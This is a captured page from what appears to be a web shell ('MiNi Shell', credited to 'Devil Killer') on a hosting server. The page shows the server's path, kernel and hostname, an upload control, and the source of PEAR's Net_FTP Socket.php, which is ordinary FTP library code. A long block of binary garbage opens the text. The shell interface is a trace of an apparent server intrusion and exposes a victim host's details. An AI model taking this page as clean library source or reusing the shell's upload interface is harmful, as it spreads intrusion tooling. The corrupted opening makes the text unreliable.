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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/lib/php-5.6.29-precise/lib/php/Net/FTP/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/lib/php-5.6.29-precise/lib/php/Net/FTP/Socket.php

<?php

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Net_FTP socket implementation of FTP functions.
 *
 * The functions in this file emulate the ext/FTP functions through
 * ext/Socket.
 *
 * PHP versions 4 and 5
 *
 * @category  Networking
 * @package   FTP
 * @author    Tobias Schlitt <toby@php.net>
 * @copyright 1997-2008 The PHP Group
 * @license   BSD http://www.opensource.org/licenses/bsd-license.php
 * @version   CVS: $Id$
 * @link      http://pear.php.net/package/Net_FTP
 * @since     File available since Release 0.0.1
 */

/**
* Default FTP extension constants
*/
define('FTP_ASCII', 0);
define('FTP_TEXT', 0);
define('FTP_BINARY', 1);
define('FTP_IMAGE', 1);
define('FTP_TIMEOUT_SEC', 0);

/**
* What needs to be done overall?
*   #1 Install the rest of these functions
*   #2 Document better
*   #3 Alot of other things I don't remember
*/

/*
 * !!! NOTE !!!
 * Most of the comment's are "not working",
 * meaning they are not all up-to-date
 * !!! NOTE !!!
 */

/**
 * &resource ftp_connect ( string host [, int port [, int timeout ] ] );
 *
 * Opens an FTP connection and return resource or false on failure.
 *
 * FTP Success respons code: 220
 *
 * @param string $host    Host to connect to
 * @param int    $port    Optional, port to connect to
 * @param int    $timeout Optional, seconds until function timeouts
 *
 * @todo The FTP extension has ftp_get_option() function which returns the
 * timeout variable. This function needs to be created and contain it as
 * static variable.
 * @todo The FTP extension has ftp_set_option() function which sets the
 * timeout variable. This function needs to be created and called here.
 * @access public
 * @return &resource
 */
if (!function_exists('ftp_connect')) {
    function &ftp_connect($host, $port = 21, $timeout = 90)
    {
        $false = false; // We are going to return refrence (E_STRICT)

        if (!is_string($host) || !is_integer($port) || !is_integer($timeout)) {
            return $false;
        }

        $iError = 0;
        $sError = '';

        $control                        = @fsockopen($host, $port, $iError, $sError,
            $timeout);
        $GLOBALS['_NET_FTP']['timeout'] = $timeout;

        if (!is_resource($control)) {
            return $false;
        }

        stream_set_blocking($control, true);
        stream_set_timeout($control, $timeout);

        do {
            $content[] = fgets($control, 8129);
            $array     = socket_get_status($control);
        } while ($array['unread_bytes'] > 0);

        if (substr($content[count($content)-1], 0, 3) == 220) {
            return $control;
        }

        return $false;
    }
}

/**
 * boolean ftp_login ( resource stream, string username, string password );
 *
 * Logs in to an given FTP connection stream.
 * Returns TRUE on success or FALSE on failure.
 *
 * NOTE:
 *       Username and password are *not* optional. Function will *not*
 *       assume "anonymous" if username and/or password is empty
 *
 * FTP Success respons code: 230
 *
 * @param resource &$control FTP resource to login to
 * @param string   $username FTP Username to be used
 * @param string   $password FTP Password to be used
 *
 * @access public
 * @return   boolean
 */
if (!function_exists('ftp_login')) {
    function ftp_login(&$control, $username, $password)
    {
        if (!is_resource($control) || is_null($username)) {
            return false;
        }

        fputs($control, 'USER '.$username."\r\n");
        $contents = array();
        do {
            $contents[] = fgets($control, 8192);
            $array      = socket_get_status($control);
        } while ($array['unread_bytes'] > 0);

        if (substr($contents[count($contents)-1], 0, 3) != 331) {
            return false;
        }

        fputs($control, 'PASS '.$password."\r\n");
        $contents = array();
        do {
            $contents[] = fgets($control, 8192);
            $array      = socket_get_status($control);
        } while ($array['unread_bytes']);

        if (substr($contents[count($contents)-1], 0, 3) == 230) {
            return true;
        }

        trigger_error('ftp_login() [<a href="function.ftp-login">function.ftp-login'.
            '</a>]: '.$contents[count($contents)-1], E_USER_WARNING);

        return false;
    }
}

/**
 * boolean ftp_quit ( resource stream );
 *
 * Closes FTP connection.
 * Returns TRUE or FALSE on error.
 *
 * NOTE: The PHP function ftp_quit is *alias* to ftp_close, here it is
 * the *other-way-around* ( ftp_close() is alias to ftp_quit() ).
 *
 * NOTE:
 *       resource is set to null since unset() can't unset the variable.
 *
 * @param resource &$control FTP resource
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_quit')) {
    function ftp_quit(&$control)
    {
        if (!is_resource($control)) {
            return false;
        }

        fputs($control, 'QUIT'."\r\n");
        fclose($control);
        $control = null;
        return true;
    }
}

/**
 * Alias to ftp_quit()
 *
 * @param resource &$control FTP resource
 *
 * @see ftp_quit()
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_close')) {
    function ftp_close(&$control)
    {
        return ftp_quit($control);
    }
}

/**
 * string ftp_pwd ( resource stream );
 *
 * Gets the current directory name.
 * Returns the current directory.
 *
 * Needs data connection: NO
 * Success response code: 257
 *
 * @param resource &$control FTP resource
 *
 * @access public
 * @return string
 */
if (!function_exists('ftp_pwd')) {
    function ftp_pwd(&$control)
    {
        if (!is_resource($control)) {
            return $control;
        }

        fputs($control, 'PWD'."\r\n");

        $content = array();
        do {
            $content[] = fgets($control, 8192);
            $array     = socket_get_status($control);
        } while ($array['unread_bytes'] > 0);

        if (substr($cont = $content[count($content)-1], 0, 3) == 257) {
            $pos  = strpos($cont, '"')+1;
            $pos2 = strrpos($cont, '"') - $pos;
            $path = substr($cont, $pos, $pos2);
            return $path;
        }

        return false;
    }
}

/**
 * boolean ftp_chdir ( resource stream, string directory );
 *
 * Changes the current directory to the specified directory.
 * Returns TRUE on success or FALSE on failure.
 *
 * FTP success response code: 250
 * Needs data connection: NO
 *
 * @param resource &$control FTP stream
 * @param string   $pwd      Directory name
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_chdir')) {
    function ftp_chdir(&$control, $pwd)
    {
        if (!is_resource($control) || !is_string($pwd)) {
            return false;
        }

        fputs($control, 'CWD '.$pwd."\r\n");
        $content = array();
        do {
            $content[] = fgets($control, 8192);
            $array     = socket_get_status($control);
        } while ($array['unread_bytes'] > 0);

        if (substr($content[count($content)-1], 0, 3) == 250) {
            return true;
        }

        trigger_error('ftp_chdir() [<a
            href="function.ftp-chdir">function.ftp-chdir</a>]:
                ' .$content[count($content)-1], E_USER_WARNING);

        return false;
    }
}

$_NET_FTP                = array();
$_NET_FTP['USE_PASSIVE'] = false;
$_NET_FTP['DATA']        = null;

/**
 * boolean ftp_pasv ( resource stream, boolean passive );
 *
 * Toggles passive mode ON/OFF.
 * Returns TRUE on success or FALSE on failure.
 *
 * Comment:
 *       Although my lack of C knowlege I checked how the PHP FTP extension
 *       do things here. Seems like they create the data connection and store
 *       it in object for other functions to use.
 *       This is now done here.
 *
 * FTP success response code: 227
 *
 * @param stream  &$control FTP stream
 * @param boolean $pasv     True to switch to passive, false for active mode
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_pasv')) {
    function ftp_pasv(&$control, $pasv)
    {
        if (!is_resource($control) || !is_bool($pasv)) {
            return false;
        }

        // If data connection exists, destroy it
        if (isset($GLOBALS['_NET_FTP']['DATA'])) {
            fclose($GLOBALS['_NET_FTP']['DATA']);
            $GLOBALS['_NET_FTP']['DATA'] = null;

            do {
                fgets($control, 16);
                $array = socket_get_status($control);
            } while ($array['unread_bytes'] > 0);
        }

        // Are we suppost to create active or passive connection?
        if (!$pasv) {
            $GLOBALS['_NET_FTP']['USE_PASSIVE'] = false;
            // Pick random "low bit"
            $low = rand(39, 250);
            // Pick random "high bit"
            $high = rand(39, 250);
            // Lowest  possible port would be; 10023
            // Highest possible port would be; 64246

            $port = ($low<<8)+$high;
            $ip   = str_replace('.', ',', $_SERVER['SERVER_ADDR']);
            $s    = $ip.','.$low.','.$high;

            $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (is_resource($socket)) {
                if (socket_bind($socket, '0.0.0.0', $port)) {
                    if (socket_listen($socket)) {
                        $GLOBALS['_NET_FTP']['DATA'] = &$socket;
                        fputs($control, 'PORT '.$s."\r\n");
                        $line = fgets($control, 512);
                        if (substr($line, 0, 3) == 200) {
                            return true;
                        }
                    }
                }
            }
            return false;
        }

        // Since we are here, we are suppost to create passive data connection.
        fputs($control, 'PASV' ."\r\n");

        $content = array();
        do {
            $content[] = fgets($control, 128);
            $array     = socket_get_status($control);
        } while ($array['unread_bytes']);

        if (substr($cont = $content[count($content)-1], 0, 3) != 227) {
            return false;
        }

        $pos    = strpos($cont, '(')+1;
        $pos2   = strrpos($cont, ')')-$pos;
        $string = substr($cont, $pos, $pos2);

        $array = explode(',', $string);

        // IP we are connecting to
        $ip = $array[0]. '.' .$array[1]. '.' .$array[2]. '.' .$array[3];

        // Port ( 256*lowbit + highbit
        $port = ($array[4] << 8)+$array[5];

        // Our data connection
        $iError = 0;
        $sError = '';
        $data   = fsockopen($ip, $port, $iError, $sError,
            $GLOBALS['_NET_FTP']['timeout']);

        if (is_resource($data)) {
            $GLOBALS['_NET_FTP']['USE_PASSIVE'] = true;
            $GLOBALS['_NET_FTP']['DATA']        = &$data;
            stream_set_blocking($data, true);
            stream_set_timeout($data, $GLOBALS['_NET_FTP']['timeout']);

            return true;
        }

        return false;
    }
}

/**
 * array ftp_rawlist ( resource stream, string directory [,bool recursive] );
 *
 * Returns a detailed list of files in the given directory.
 *
 * Needs data connection: YES
 *
 * @param integer &$control  FTP resource
 * @param string  $pwd       Path to retrieve
 * @param boolean $recursive Optional, retrieve recursive listing
 *
 * @todo Enable the recursive feature.
 * @access public
 * @return   array
 */
if (!function_exists('ftp_rawlist')) {
    function ftp_rawlist(&$control, $pwd, $recursive = false)
    {
        if (!is_resource($control) || !is_string($pwd)) {
            return false;
        }

        if (!isset($GLOBALS['_NET_FTP']['DATA']) ||
            !is_resource($GLOBALS['_NET_FTP']['DATA'])) {

            ftp_pasv($control, $GLOBALS['_NET_FTP']['USE_PASSIVE']);

        }
        fputs($control, 'LIST '.$pwd."\r\n");

        $msg = fgets($control, 512);
        if (substr($msg, 0, 3) == 425) {
            return false;
        }

        $data = &$GLOBALS['_NET_FTP']['DATA'];
        if (!$GLOBALS['_NET_FTP']['USE_PASSIVE']) {
            $data = &socket_accept($data);
        }

        $content = array();

        switch ($GLOBALS['_NET_FTP']['USE_PASSIVE']) {
        case true:
            while (true) {
                $string = rtrim(fgets($data, 1024));

                if ($string=='') {
                    break;
                }

                $content[] = $string;
            }

            fclose($data);
            break;

        case false:
            $string = socket_read($data, 1024, PHP_BINARY_READ);

            $content = explode("\n", $string);
            unset($content[count($content)-1]);

            socket_close($GLOBALS['_NET_FTP']['DATA']);
            socket_close($data);
            break;
        }

        $data = $GLOBALS['_NET_FTP']['DATA'] = null;

        fgets($control, 1024);
        return $content;
    }
}

/**
 * string ftp_systype ( resource stream );
 *
 * Gets system type identifier of remote FTP server
 * Returns the remote system type
 *
 * @param resource &$control FTP resource
 *
 * @access public
 * @return string
 */
if (!function_exists('ftp_systype')) {
    function ftp_systype(&$control)
    {
        if (!is_resource($control)) {
            return false;
        }

        fputs($control, 'SYST'."\r\n");
        $line = fgets($control, 256);

        if (substr($line, 0, 3) != 215) {
            return false;
        }

        $os = substr($line, 4, strpos($line, ' ', 4)-4);
        return $os;
    }
}

/**
 * boolean ftp_alloc ( resource stream, integer bytes [, string &message ] );
 *
 * Allocates space for a file to be uploaded
 * Return TRUE on success or FALSE on failure
 *
 * NOTE; Many FTP servers do not support this command and/or don't need it.
 *
 * FTP success respons key: Belive it's 200
 * Needs data connection: NO
 *
 * @param resource &$control FTP stream
 * @param integer  $int      Space to allocate
 * @param string   &$msg     Optional, textual representation of the servers response
 *                           will be returned by reference
 *
 * @access public
 * @return   boolean
 */
if (!function_exists('ftp_alloc')) {
    function ftp_alloc(&$control, $int, &$msg = null)
    {
        if (!is_resource($control) || !is_integer($int)) {
            return false;
        }

        fputs($control, 'ALLO '.$int.' R '.$int."\r\n");

        $msg = rtrim(fgets($control, 256));

        $code = substr($msg, 0, 3);
        if ($code == 200 || $code == 202) {
            return true;
        }

        return false;
    }
}

/**
 * bool ftp_put ( resource stream, string remote_file, string local_file,
 *               int mode [, int startpos ] );
 *
 * Uploads a file to the FTP server
 * Returns TRUE on success or FALSE on failure.
 *
 * NOTE:
 *       The transfer mode specified must be either FTP_ASCII or FTP_BINARY.
 *
 * @param resource &$control FTP stream
 * @param string   $remote   Remote file to write
 * @param string   $local    Local file to upload
 * @param integer  $mode     Upload mode, FTP_ASCI || FTP_BINARY
 * @param integer  $pos      Optional, start upload at position
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_put')) {
    function ftp_put(&$control, $remote, $local, $mode, $pos = 0)
    {
        if (!is_resource($control) || !is_readable($local) ||
            !is_integer($mode) || !is_integer($pos)) {
            return false;
        }

        $types   = array (
            0 => 'A',
            1 => 'I'
        );
        $windows = array (
            0 => 't',
            1 => 'b'
        );

        /**
        * TYPE values:
        *       A ( ASCII  )
        *       I ( BINARY )
        *       E ( EBCDIC )
        *       L ( BYTE   )
        */

        if (!isset($GLOBALS['_NET_FTP']['DATA']) ||
            !is_resource($GLOBALS['_NET_FTP']['DATA'])) {
            ftp_pasv($control, $GLOBALS['_NET_FTP']['USE_PASSIVE']);
        }

        // Establish data connection variable
        $data = &$GLOBALS['_NET_FTP']['DATA'];

        // Decide TYPE to use
        fputs($control, 'TYPE '.$types[$mode]."\r\n");
        $line = fgets($control, 256); // "Type set to TYPE"
        if (substr($line, 0, 3) != 200) {
            return false;
        }

        fputs($control, 'STOR '.$remote."\r\n");
        sleep(1);
        $line = fgets($control, 256); // "Opening TYPE mode data connect."

        if (substr($line, 0, 3) != 150) {
            return false;
        }

        // Creating resource to $local file
        $fp = fopen($local, 'r'. $windows[$mode]);
        if (!is_resource($fp)) {
            $fp = null;
            return false;
        }

        // Loop throu that file and echo it to the data socket
        $i = 0;
        switch ($GLOBALS['_NET_FTP']['USE_PASSIVE']) {
        case false:
            $data = &socket_accept($data);
            while (!feof($fp)) {
                $i += socket_write($data, fread($fp, 10240), 10240);
            }
            socket_close($data);
            break;

        case true:
            while (!feof($fp)) {
                $i += fputs($data, fread($fp, 10240), 10240);
            }
            fclose($data);
            break;
        }

        $data = null;
        do {
            $line = fgets($control, 256);
        } while (substr($line, 0, 4) != "226 ");
        return true;
    }
}

/**
 * Retrieve a remote file to a local file
 * Returns TRUE on success or FALSE on failure
 *
 * @param integer &$control Stream ID
 * @param string  $local    Local filename
 * @param string  $remote   Remote filename
 * @param integer $mode     Transfer mode (FTP_ASCII or FTP_BINARY)
 * @param integer $resume   Resume the file transfer or not
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_get')) {
    function ftp_get(&$control, $local, $remote, $mode, $resume = 0)
    {
        if (!is_resource($control) || !is_writable(dirname($local)) ||
            !is_integer($mode) || !is_integer($resume)) {
            return false;
        }
        $types   = array (
            0 => 'A',
            1 => 'I'
        );
        $windows = array (
            0 => 't',
            1 => 'b'
        );

        if (!isset($GLOBALS['_NET_FTP']['DATA']) ||
            !is_resource($GLOBALS['_NET_FTP'][ 'DATA'])) {
            ftp_pasv($control, $GLOBALS['_NET_FTP']['USE_PASSIVE']);
        }

        fputs($control, 'TYPE '.$types[$mode]."\r\n");
        $line = fgets($control, 256);
        if (substr($line, 0, 3) != 200) {
            return false;
        }

        $fp = fopen($local, 'w'.$windows[$mode]);
        if (!is_resource($fp)) {
            $fp = null;
            return false;
        }
        return true;
    }
}

/**
 * Changes to the parent directory
 * Returns TRUE on success or FALSE on failure
 *
 * @param integer &$control Stream ID
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_cdup')) {
    function ftp_cdup(&$control)
    {
        fputs($control, 'CDUP'."\r\n");
        $line = fgets($control, 256);

        if (substr($line, 0, 3) != 250) {
            return false;
        }

        return true;
    }
}

/**
 * Set permissions on a file via FTP
 * Returns the new file permission on success or false on error
 *
 * NOTE: This command is *not* supported by the standard
 * NOTE: This command not ready!
 *
 * @param integer &$control Stream ID
 * @param integer $mode     Octal value
 * @param string  $file     File to change permissions on
 *
 * @todo Figure out a way to chmod files via FTP
 * @access public
 * @return integer
 */
if (!function_exists('ftp_chmod')) {
    function ftp_chmod(&$control, $mode, $file)
    {
        if (!is_resource($control) || !is_integer($mode) || !is_string($file)) {
            return false;
        }

        // chmod not in the standard, proftpd doesn't recognize it
        // use SITE CHMOD?
        fputs($control, 'SITE CHMOD '.$mode. ' ' .$file."\r\n");
        $line = fgets($control, 256);

        if (substr($line, 0, 3) == 200) {
            return $mode;
        }

        trigger_error('ftp_chmod() [<a
            href="function.ftp-chmod">function.ftp-chmod</a>]: ' .
            rtrim($line), E_USER_WARNING);
        return false;
    }
}

/**
 * Deletes a file on the FTP server
 * Returns TRUE on success or FALSE on failure
 *
 * @param integer &$control Stream ID
 * @param string  $path     File to delete
 *
 * @access public
 * @return boolean
 */
if (!function_exists('ftp_delete')) {
    function ftp_delete(&$control, $path)
    {
        if (!is_resource($control) || !is_string($path)) {
            return false;
        }

        fputs($control, 'DELE '.$path."\r\n");
        $line = fgets($control, 256);

        if (substr($line, 0, 3) == 250) {
            return true;
        }

        return false;
    }
}

/**
 * Requests execution of a program on the FTP server
 * NOTE; SITE EXEC is *not* supported by the standart
 * Returns TRUE on success or FALSE on error
 *
 * @param integer &$control Stream ID
 * @param string  $cmd      Command to send
 *
 * @access public
 * @todo Look a littlebit better into this
 * @return boolean
 */
if (!function_exists('ftp_exec')) {
    function ftp_exec(&$control, $cmd)
    {
        if (!is_resource($control) || !is_string($cmd)) {
            return false;
        }

        // Command not defined in the standart
        // proftpd doesn't recognize SITE EXEC (only help,chgrp,chmod and ratio)
        fputs($control, 'SITE EXEC '.$cmd."\r\n");
        $line = fgets($control, 256);

        // php.net/ftp_exec uses respons code 200 to verify if command was sent
        // successfully or not, so we'll just do the same
        if (substr($line, 0, 3) == 200) {
            return true;
        }

        return false;
    }
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com